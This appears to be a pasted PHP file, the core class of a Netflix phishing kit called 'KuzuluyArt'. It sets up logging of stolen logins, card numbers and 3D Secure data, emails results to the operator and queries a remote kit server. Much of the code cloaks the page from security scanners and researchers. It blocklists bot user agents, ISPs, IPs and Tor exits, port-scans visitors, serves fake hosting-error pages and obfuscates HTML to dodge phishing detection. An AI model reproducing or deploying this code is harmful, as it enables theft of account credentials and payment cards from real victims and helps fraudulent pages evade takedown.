· 5 years ago · Dec 20, 2020, 03:50 AM
1<?php
2session_start();
3set_time_limit(0);
4error_reporting(0);
5date_default_timezone_set("Asia/Jakarta");
6
7class KuzuluyArt {
8 public $server_api = "https://kuzuluy.app";
9 public $dir_logs = __DIR__ . "/logs";
10 public $file_config = "config.json";
11 public $logs_allow = "allow.json";
12 public $logs_block = "block.json";
13 public function logs($name) {
14 $data = array(
15 'login' => 'data_login.txt',
16 'card' => 'data_card.txt',
17 '3dsecure' => 'data_3dsecure.txt'
18 );
19 return $this->dir_logs.'/'.$data[$name];
20 }
21 public function config($data) {
22 $config = json_decode(file_get_contents(__DIR__.'/'.$this->file_config), true);
23 if ($data == "apikey") {
24 return $config[$data];
25 } else {
26 return $config['config'][$data];
27 }
28 }
29 public function redirect($url) {
30 header("location: ".$url);
31 exit;
32 }
33 public function session($data, $value, $page) {
34 if (isset($_SESSION[$data])) {
35 if ($_SESSION[$data] == $value) {
36 $this->allow($page);
37 } else {
38 $this->block("Session incorrect");
39 $this->ngeblock("official");
40 }
41 } else {
42 $this->block("Session undefined");
43 $this->ngeblock("official");
44 }
45 }
46 public function logout() {
47 @session_destroy();
48 $this->delete_cookie();
49 }
50 public function create_cookie() {
51 setcookie("access_key", $_SESSION['key'], time()+7200);
52 }
53 public function check_cookie() {
54 if (isset($_COOKIE['access_key'])) {
55 if ($_COOKIE['access_key'] != $_SESSION['key']) {
56 $this->ngeblock("official");
57 }
58 } else {
59 $this->ngeblock("official");
60 }
61 }
62 public function delete_cookie() {
63 unset($_COOKIE['access_key']);
64 }
65 public function quote() {
66 return ucfirst($this->get($this->server_api."/check?quote")['decode']['quote']);
67 }
68 public function bin($bin) {
69 $bin = $this->get($this->server_api."/check?bin=".$bin)['decode'];
70 return array(
71 'brand' => $bin['brand'],
72 'type' => $bin['type'],
73 'bank' => $bin['bank'],
74 'level' => $bin['level'],
75 'country' => $bin['country'],
76 'full' => $bin['brand']." ".$bin['type']." ".$bin['bank']." ".$bin['level']
77 );
78 }
79 public function ngerandom() {
80 return $this->encypt(microtime());
81 }
82 public function get($url) {
83 $curl = curl_init();
84 $option = [
85 CURLOPT_SSL_VERIFYPEER => false,
86 CURLOPT_RETURNTRANSFER => true,
87 CURLOPT_URL => $url,
88 CURLOPT_USERAGENT => 'Mozilla/5.0 (Macintosh; Intel Mac OS X vip; rv:42.0) Gecko/06072000 Firefox/42.0',
89 CURLOPT_COOKIEJAR => $this->dir_logs.'/cookie.txt',
90 CURLOPT_COOKIEFILE => $this->dir_logs.'/cookie.txt'
91 ];
92 curl_setopt_array($curl, $option);
93 $data = curl_exec($curl);
94 $type = curl_getinfo($curl, CURLINFO_CONTENT_TYPE);
95 $httpcode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
96 curl_close($curl);
97 return array(
98 'data' => $data,
99 'type' => $type,
100 'decode' => json_decode($data, true),
101 'httpcode' => $httpcode
102 );
103 }
104 public function getIp() {
105 if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP)) {
106 return $_SERVER['HTTP_CLIENT_IP'];
107 } elseif (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP)) {
108 return $_SERVER['HTTP_X_FORWARDED_FOR'];
109 } else {
110 return $_SERVER['REMOTE_ADDR'];
111 }
112 }
113 public function getOs() {
114 $os = "Unknown OS";
115 $os_array = array(
116 '/windows nt 10/i' => 'Windows 10',
117 '/windows nt 6.3/i' => 'Windows 8.1',
118 '/windows nt 6.2/i' => 'Windows 8',
119 '/windows nt 6.1/i' => 'Windows 7',
120 '/windows nt 6.0/i' => 'Windows Vista',
121 '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
122 '/windows nt 5.1/i' => 'Windows XP',
123 '/windows xp/i' => 'Windows XP',
124 '/windows nt 5.0/i' => 'Windows 2000',
125 '/windows me/i' => 'Windows ME',
126 '/win98/i' => 'Windows 98',
127 '/win95/i' => 'Windows 95',
128 '/win16/i' => 'Windows 3.11',
129 '/macintosh|mac os x/i' => 'Mac OS X',
130 '/mac_powerpc/i' => 'Mac OS 9',
131 '/linux/i' => 'Linux',
132 '/ubuntu/i' => 'Ubuntu',
133 '/iphone/i' => 'iPhone',
134 '/ipod/i' => 'iPod',
135 '/ipad/i' => 'iPad',
136 '/android/i' => 'Android',
137 '/blackberry/i' => 'BlackBerry',
138 '/webos/i' => 'Mobile'
139 );
140 foreach ($os_array as $regex => $value) {
141 if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) {
142 $os = $value;
143 }
144 }
145 return $os;
146 }
147 public function getBrowser() {
148 $browser = "Unknown Browser";
149 $browser_array = array(
150 '/msie/i' => 'Internet Explorer',
151 '/firefox/i' => 'Firefox',
152 '/safari/i' => 'Safari',
153 '/chrome/i' => 'Chrome',
154 '/edge/i' => 'Edge',
155 '/opera/i' => 'Opera',
156 '/netscape/i' => 'Netscape',
157 '/maxthon/i' => 'Maxthon',
158 '/konqueror/i' => 'Konqueror',
159 '/mobile/i' => 'Handheld Browser'
160 );
161 foreach ($browser_array as $regex => $value) {
162 if (preg_match($regex, $_SERVER['HTTP_USER_AGENT'])) {
163 $browser = $value;
164 }
165 }
166 return $browser;
167 }
168 public function getHost() {
169 return gethostbyaddr($_SESSION['ip']);
170 }
171 public function getLanguage() {
172 return array(
173 'code' => substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2),
174 'full' => $_SERVER['HTTP_ACCEPT_LANGUAGE']
175 );
176 }
177 public function getReferer() {
178 if (isset($_SERVER['HTTP_REFERER'])) {
179 return $_SERVER['HTTP_REFERER'];
180 } else {
181 return "no-referer";
182 }
183 }
184 public function getUseragent() {
185 return $_SERVER['HTTP_USER_AGENT'];
186 }
187 public function location() {
188 return array(
189 'title' => implode(" - ", array($_SESSION['country'], $_SESSION['state'])),
190 'full' => implode(", ", array($_SESSION['city'], $_SESSION['district'], $_SESSION['state'], $_SESSION['country']))
191 );
192 }
193 public function result() {
194 $query = "api?key=".$this->config("apikey")."&scam=netflix";
195 $api = $this->get($this->server_api."/".$query)['decode'];
196 return array(
197 'login' => $api['result_login'],
198 'card' => $api['result_card'],
199 );
200 }
201 public function data() {
202 $_SESSION['ip'] = $this->getIp();
203 $_SESSION['host'] = $this->getHost();
204 $_SESSION['key'] = $this->ngerandom();
205 $_SESSION['lang'] = $this->getLanguage()['code'];
206 $_SESSION['language'] = $this->getLanguage()['full'];
207 $_SESSION['os'] = $this->getOs();
208 $_SESSION['browser'] = $this->getBrowser();
209 $_SESSION['referer'] = $this->getReferer();
210 $_SESSION['useragent'] = $this->getUseragent();
211 $query /* data ipquery */ = "check?ip=".$_SESSION['ip']."&apikey=".$this->config("apikey")."&scam=netflix";
212 $api /* data ipapi */ = $this->get($this->server_api."/".$query)['decode'];
213 $_SESSION['isp'] = $api['isp'];
214 $_SESSION['countrycode'] = $api['country_code'];
215 $_SESSION['country'] = $api['country_name'];
216 $_SESSION['statecode'] = $api['state_code'];
217 $_SESSION['state'] = $api['state_name'];
218 $_SESSION['district'] = $api['district'];
219 $_SESSION['city'] = $api['city'];
220 $_SESSION['geonameid'] = $api['geoname_id'];
221 $_SESSION['latlongid'] = $api['latlong_id'];
222 $_SESSION['latitude'] = $api['latitude'];
223 $_SESSION['longitude'] = $api['longitude'];
224 $_SESSION['iptimezone'] = $api['timezone'];
225 $_SESSION['kuzuluy_block'] = $api['kuzuluy_block'];
226 }
227 public function save($file, $text, $type) {
228 $fp = fopen($file, $type);
229 return fwrite($fp, $text);
230 fclose($fp);
231 }
232 public function error($str) {
233 if ($str == 1) {
234 $page = $this->get($this->server_api."/assets/html/netflix/cpanel_suspend.html")['data'];
235 $html = preg_replace('{WEBMASTER}', $_SERVER['SERVER_ADMIN'], $page);
236 sleep(2); die($html);
237 } elseif ($str == 2) {
238 $page = $this->get($this->server_api."/assets/html/netflix/cpanel_default.html")['data'];
239 $html = preg_replace('{WEBMASTER}', $_SERVER['SERVER_ADMIN'], $page);
240 sleep(2); die($html);
241 } else {
242 $page = $this->get($this->server_api."/assets/html/netflix/tcp_error.html")['data'];
243 sleep(8); die($page);
244 }
245 }
246 public function ngeblock($str) {
247 $this->logout();
248 if ($str == "error") {
249 $this->htaccess("block");
250 $error = rand(1,2);
251 if ($error == 1) {
252 $this->redirect("cgi-sys/suspendedpage.cgi");
253 } else{
254 $this->redirect("cgi-sys/defaultwebpage.cgi");
255 }
256 } elseif ($str == "official") {
257 $this->htaccess("complete");
258 $this->redirect("https://href.li/?https://www.netflix.com/");
259 }
260 }
261 public function allow($str) {
262 $file = $this->dir_logs.'/'.$this->logs_allow;
263 $json = json_decode(file_get_contents($file), true);
264 $data['date'] = date('j F Y, H:i:s');
265 $data['page'] = $str;
266 $data['country'] = $_SESSION['country'];
267 $data['ip'] = $_SESSION['ip'];
268 $data['isp'] = $_SESSION['isp'];
269 $data['host'] = $_SESSION['host'];
270 $data['referer'] = $_SESSION['referer'];
271 $data['useragent'] = $_SESSION['useragent'];
272 array_push($json['allow'], $data);
273 $text = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
274 return $this->save($file, $text, "w+");
275 }
276 public function block($str) {
277 $file = $this->dir_logs.'/'.$this->logs_block;
278 $json = json_decode(file_get_contents($file), true);
279 $data['date'] = date('j F Y, H:i:s');
280 $data['reason'] = $str;
281 $data['country'] = $_SESSION['country'];
282 $data['ip'] = $_SESSION['ip'];
283 $data['isp'] = $_SESSION['isp'];
284 $data['host'] = $_SESSION['host'];
285 $data['referer'] = $_SESSION['referer'];
286 $data['useragent'] = $_SESSION['useragent'];
287 array_push($json['block'], $data);
288 $text = json_encode($json, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE);
289 return $this->save($file, $text, "w+");
290 }
291 public function htaccess($str) {
292 $block = "RewriteCond %{REMOTE_ADDR} ^".$_SERVER['REMOTE_ADDR']."$\nRewriteCond %{REQUEST_URI} !^\/script\.php$ [NC]\nRewriteRule .* - [L,R=404]\n\n";
293 $complete = "RewriteCond %{REMOTE_ADDR} ^".$_SERVER['REMOTE_ADDR']."$\nRewriteRule (.*) https://href.li/?https://www.netflix.com/ [R]\n\n";
294 if ($str == "block") {
295 return $this->save(__DIR__ . "/.htaccess", $block, "a");
296 } elseif ($str == "complete") {
297 return $this->save(__DIR__ . "/.htaccess", $complete, "a");
298 }
299 }
300 public function blocker() {
301 if ($_SESSION['kuzuluy_block'] == "Y") {
302 $this->block("Kuzuluy blacklist");
303 $this->ngeblock("error");
304 }
305 if ($this->config("useragent") == "on") { $this->blocker_useragent(); }
306 if ($this->config("host") == "on") { $this->blocker_host(); }
307 if ($this->config("ip") == "on") { $this->blocker_ip(); }
308 if ($this->config("isp") == "on") { $this->blocker_isp(); }
309 if ($this->config("dinamic") == "on") { $this->blocker_dinamic(); }
310 if ($this->config("proxyport") == "on") { $this->blocker_proxyport(); }
311 if ($this->config("dns") == "on") { $this->blocker_dns(); }
312 }
313 public function blocker_email() {
314 $query = "bot?apikey=".$this->config("apikey")."&type=email&scam=netflix";
315 $api = $this->get($this->server_api."/".$query)['decode'];
316 foreach ($api as $email) {
317 if (stristr($_SESSION['email'], $email) !== false) {
318 $this->block("Email blacklist (".$_SESSION['email'].")");
319 return true;
320 }
321 }
322 }
323 public function blocker_useragent() {
324 $query = "bot?apikey=".$this->config("apikey")."&type=agent&scam=netflix";
325 $api = $this->get($this->server_api."/".$query)['decode'];
326 foreach ($api as $useragent) {
327 if (empty($_SESSION['useragent']) || substr_count(strtolower($_SESSION['useragent']), $useragent) > 0) {
328 $this->block("Useragent blacklist");
329 $this->ngeblock("error");
330 }
331 }
332 }
333 public function blocker_ip() {
334 $query1 = "bot?apikey=".$this->config("apikey")."&type=ip&scam=netflix";
335 $query2 = "bot?apikey=".$this->config("apikey")."&type=latlong&scam=netflix";
336 $api = array(
337 'ip' => $this->get($this->server_api."/".$query1)['decode'],
338 'latlong' => $this->get($this->server_api."/".$query2)['decode']
339 );
340 if (in_array($_SESSION['ip'], $api['ip'])) {
341 $this->block("Ip1 blacklist");
342 $this->ngeblock("error");
343 } else {
344 foreach ($api['ip'] as $ip) {
345 if (preg_match("/$ip/", $_SESSION['ip'])) {
346 $this->block("Ip2 blacklist");
347 $this->ngeblock("error");
348 }
349 }
350 }
351 foreach ($api['latlong'] as $latlong) {
352 if (substr_count($_SESSION['latlongid'], $latlong) > 0) {
353 $this->block("Ip3 blacklist");
354 $this->ngeblock("error");
355 }
356 }
357 }
358 public function blocker_isp() {
359 $query = "bot?apikey=".$this->config("apikey")."&type=isp&scam=netflix";
360 $api = $this->get($this->server_api."/".$query)['decode'];
361 foreach ($api as $isp) {
362 if (empty($_SESSION['isp']) || substr_count(strtolower($_SESSION['isp']), $isp) > 0) {
363 $this->block("Isp blacklist");
364 $this->ngeblock("error");
365 }
366 }
367 }
368 public function blocker_dns() {
369 $data = array('exitnodes.tor.dnsbl.sectoor.de', 'tor.dnsbl.sectoor.de', 'tor.dan.me.uk', 'bl.spamcop.net');
370 foreach ($data as $dns) {
371 if (checkdnsrr(implode(".", array_reverse(explode(".", $_SESSION['ip']))).".".$dns.".", "A")) {
372 $this->block("Dns blacklist (".$dns.")");
373 $this->ngeblock("error");
374 }
375 }
376 }
377 public function blocker_host() {
378 $query = "bot?apikey=".$this->config("apikey")."&type=host&scam=netflix";
379 $api = $this->get($this->server_api."/".$query)['decode'];
380 foreach ($api as $host) {
381 if (empty($_SESSION['host']) || substr_count(strtolower($_SESSION['host']), $host) > 0) {
382 $this->block("Hostname blacklist");
383 $this->ngeblock("error");
384 }
385 }
386 }
387 public function blocker_dinamic() {
388 $data = $this->get("http://bot.myip.ms/".$_SESSION['ip'])['data'];
389 if (preg_match("/Bot exists/", $data)) {
390 $this->block("Dinamic blacklist");
391 $this->ngeblock("error");
392 }
393 }
394 public function blocker_proxyport() {
395 $dataproxy = array(
396 'CLIENT_IP',
397 'FORWARDED',
398 'FORWARDED_FOR',
399 'FORWARDED_FOR_IP',
400 'VIA',
401 'X_FORWARDED',
402 'X_FORWARDED_FOR',
403 'HTTP_CLIENT_IP',
404 'HTTP_FORWARDED',
405 'HTTP_FORWARDED_FOR',
406 'HTTP_FORWARDED_FOR_IP',
407 'HTTP_PROXY_CONNECTION',
408 'HTTP_VIA',
409 'HTTP_X_FORWARDED',
410 'HTTP_X_FORWARDED_FOR'
411 );
412 foreach ($dataproxy as $proxy) {
413 if (isset($_SERVER[$proxy])) {
414 $this->block("Proxy detected (".$proxy.")");
415 $this->ngeblock("error");
416 }
417 }
418 $dataport = array(80, 81, 553, 554, 1080, 3128, 4480, 6588, 8000, 8080);
419 foreach ($dataport as $port) {
420 if (@fsockopen($_SERVER['REMOTE_ADDR'], $port, $errno, $errstr, 3)) {
421 $this->block("Port detected (".$port.")");
422 $this->ngeblock("error");
423 }
424 }
425 }
426 public function encypt($str) {
427 return md5($str);
428 }
429 public function image_encode($str) {
430 //require __DIR__ . '/system/class/mime.php';
431 //$url = base64_encode($this->get($str)['data']);
432 //$local = base64_encode(file_get_contents(__DIR__. '/'.$str));
433 /*return array(
434 'url' => "data:".$this->get($str)['type'].";base64,".$url,
435 'local' => "data:".mime_content_type($str).";base64,".$local
436 );*/
437 return array(
438 'url' => '../'. $str,
439 'local' => '../'. $str
440 );
441 }
442 public function text_encode($str) {
443 $crypt = array("A" => "065", "a" => "097", "B" => "066", "b" => "098", "C" => "067", "c" => "099", "D" => "068", "d" => "100", "E" => "069", "e" => "101", "F" => "070", "f" => "102", "G" => "071", "g" => "103", "H" => "072", "h" => "104", "I" => "073", "i" => "105", "J" => "074", "j" => "106", "K" => "075", "k" => "107", "L" => "076", "l" => "108", "M" => "077", "m" => "109", "N" => "078", "n" => "110", "O" => "079", "o" => "111", "P" => "080", "p" => "112", "Q" => "081", "q" => "113", "R" => "082", "r" => "114", "S" => "083", "s" => "115", "T" => "084", "t" => "116", "U" => "085", "u" => "117", "V" => "086", "v" => "118", "W" => "087", "w" => "119", "X" => "088", "x" => "120", "Y" => "089", "y" => "121", "Z" => "090", "z" => "122", "0" => "048", "1" => "049", "2" => "050", "3" => "051", "4" => "052", "5" => "053", "6" => "054", "7" => "055", "8" => "056", "9" => "057", "&" => "038", " " => "032", "_" => "095", "-" => "045", "@" => "064", "." => "046");
444 $encode = "";
445 for ($i=0; $i < strlen($str); $i++) {
446 $key = substr($str, $i, 1);
447 if (array_key_exists($key, $crypt)) {
448 $random = rand(1, 3);
449 if ($random == '1') {
450 $encode = $encode.$key;
451 } elseif ($random == '3') {
452 $encode = $encode.$key;
453 } else {
454 $encode = $encode."&#".$crypt[$key].";";
455 }
456 } else {
457 $encode = $encode.$key;
458 }
459 }
460 return $encode;
461 }
462 public function undetect($html) {
463 $search = array('/\>[^\S ]+/s', '/[^\S ]+\</s', '/(\s)+/s');
464 $replace = array('>', '<', '\\1', '');
465 $minify = preg_replace($search, $replace, $html);
466 $undetect = preg_replace('/<div/', '<!-- '.$_SESSION['key'].' --><div', $minify);
467 $undetect = preg_replace('/<\/div/', '<!-- '.$_SESSION['key'].' --></div', $undetect);
468 $undetect = preg_replace('/class=\"/', 'class="'.microtime(1).' ', $undetect);
469 if ($this->config("undetect") == "on") {
470 print($undetect);
471 } else {
472 print($minify);
473 }
474 }
475 public function language() {
476 $file = __DIR__ . '/system/language/'.$_SESSION['lang'].'.php';
477 $server_file = $this->server_api."/assets/language/netflix/".$_SESSION['lang'].".txt";
478 if ($this->config("translate") == "on") {
479 if (!file_exists($file)) {
480 if ($this->get($server_file)['httpcode'] == 200) {
481 $this->save($file, $this->get($server_file)['data'], "w");
482 return $file;
483 } else {
484 return __DIR__ . '/system/language/en.php';
485 }
486 } else {
487 return $file;
488 }
489 } else {
490 return __DIR__ . '/system/language/en.php';
491 }
492 }
493 public function send($to, $subject, $message, $from, $img = '') {
494 require __DIR__ . '/system/class/smtp.php';
495 require __DIR__ . '/system/class/phpmailer.php';
496 $mail = New PHPMailer;
497 if ($this->config("sending") == "smtp") {
498 $mail->isSMTP();
499 $mail->SMTPAuth = true;
500 $mail->Host = $this->config("smtp_host");
501 $mail->Port = $this->config("smtp_port");
502 $mail->Username = $this->config("smtp_user");
503 $mail->Password = $this->config("smtp_pass");
504 $mail->SMTPSecure = $this->config("smtp_secure");
505 } else {
506 $mail->isMail();
507 }
508 $mail->isHTML(true);
509 $mail->CharSet = "UTF-8";
510 $mail->Encoding = "base64";
511 if (!empty($img)) {
512 for ($i=0; $i < count($img); $i++) {
513 $mail->AddAttachment($img[$i]);
514 }
515 }
516 $mail->setFrom($_SERVER['SERVER_ADMIN'], strtoupper($from));
517 $mail->Subject = strtoupper($subject);
518 $mail->Body = $message;
519 $mail->addAddress($to);
520 $mail->send();
521 }
522}
523
524$api = new KuzuluyArt;
525?>
526